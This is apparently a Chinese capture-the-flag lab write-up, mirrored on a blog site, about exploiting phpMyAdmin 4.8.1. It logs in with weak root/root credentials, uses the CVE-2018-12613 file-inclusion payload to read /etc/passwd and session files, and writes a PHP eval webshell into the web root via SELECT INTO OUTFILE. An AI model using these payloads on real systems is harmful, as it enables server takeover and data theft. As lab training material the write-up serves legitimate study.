当前位置:网站首页>墨者学院-phpMyAdmin后台文件包含分析溯源
墨者学院-phpMyAdmin后台文件包含分析溯源
2022-07-04 07:40:00 【Lyswbb】
首先拿到题目到点击访问

访问后使用弱口令进行登陆,如登陆失败开启隐私模式或者更换浏览器
账户密码:root root

点击sql模块 对sql语句进行一个查询

首先查询sql写一句话的权限
我们可以看到他的值为空
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
show global VARIABLES like '%secure%' 
继续查看mysql安装的绝对路径,可以发现他是安装在/var/lib/mysql/
show VARIABLES like 'datadir' 
接下来确认一下mysql权限,可以看到这里是最高权限root
SELECT USER();
权限和绝对路径都有了之后可以直接写入一句话了,先试一下phpinfo
select '<?php phpinfo(); ?>' into outfile '/var/lib/mysql/test.php';当写进去之后访问失败,想了半天才发现这是mysql的路径,不是网站的绝对路径

继续想办法搞到网站的绝对路径 根据题目可知是通过文件包含的方式写一个phpinfo,通过泄漏的绝对路径来shell,思路有了,直接干
首先确定下数据库版本,该版本为4.8.1。在根据数据库版本历史漏洞查询关于文件包含的编号是CVE-2018-12613

直接利用payload进行包含就行了
http://124.70.71.251:40917/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
先写入一个phpinfo进数据库
select '<?php phpinfo();?>'; 
再通过文件包含去调用phpinfo
首先获取session的值,在构造参数去访问phpinfo,获取绝对路径

http://124.70.71.251:45548/index.phpindex.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_[value]
有了绝对路径之后就可以写入webshell了,写入之后直接访问1.php
select "<?php @eval($_POST['cmd']) ?>" into outfile "/var/www/html/1.php";
使用管理工具登陆上去后到根下面直接去找key.txt 或者 find / -name key.txt


边栏推荐
- Oracle stored procedures and functions
- Distributed transaction management DTM: the little helper behind "buy buy buy"
- 2022-021rts: from the second half of the year
- There is no Chinese prompt below when inputting text in win10 Microsoft Pinyin input method
- 博客停更声明
- Amd RX 7000 Series graphics card product line exposure: two generations of core and process mix and match
- Chain ide -- the infrastructure of the metauniverse
- Is l1-029 too fat (5 points)
- Solution of running crash caused by node error
- University stage summary
猜你喜欢

Improve the accuracy of 3D reconstruction of complex scenes | segmentation of UAV Remote Sensing Images Based on paddleseg

Zephyr 学习笔记1,threads

时序数据库 InfluxDB 2.2 初探

The cloud native programming challenge ended, and Alibaba cloud launched the first white paper on application liveliness technology in the field of cloud native
![[C language] open the door of C](/img/e0/2f107966423d6492c39995c77a445e.jpg)
[C language] open the door of C
![[web security] nodejs prototype chain pollution analysis](/img/b6/8eddc9cbe343f2439da92bf342b0dc.jpg)
[web security] nodejs prototype chain pollution analysis

Google's official response: we have not given up tensorflow and will develop side by side with Jax in the future

What are the work contents of operation and maintenance engineers? Can you list it in detail?

BUUCTF(3)

How to send mail with Jianmu Ci
随机推荐
弈柯莱生物冲刺科创板:年营收3.3亿 弘晖基金与淡马锡是股东
rapidjson读写json文件
Devops Practice Guide - reading notes (long text alarm)
Zhanrui tankbang | jointly build, cooperate and win-win zhanrui core ecology
Transition technology from IPv4 to IPv6
两年前美国芯片扭捏着不卖芯片,如今芯片堆积如山祈求中国帮忙
[Gurobi] 简单模型的建立
[C language] open the door of C
OKR vs. KPI figure out these two concepts at once!
Basic DOS commands
Valentine's Day is coming! Without 50W bride price, my girlfriend was forcibly dragged away...
[kubernetes series] kubesphere is installed on kubernetes
Comparison between applet framework and platform compilation
L1-026 I love gplt (5 points)
【FreeRTOS】FreeRTOS学习笔记(7)— 手写FreeRTOS双向链表/源码分析
How to send mail with Jianmu Ci
The IP bound to the socket is inaddr_ The meaning of any htonl (inaddr_any) (0.0.0.0 all addresses, uncertain addresses, arbitrary addresses)
Node foundation ~ node operation
Is l1-029 too fat (5 points)
Would you like to go? Go! Don't hesitate if you like it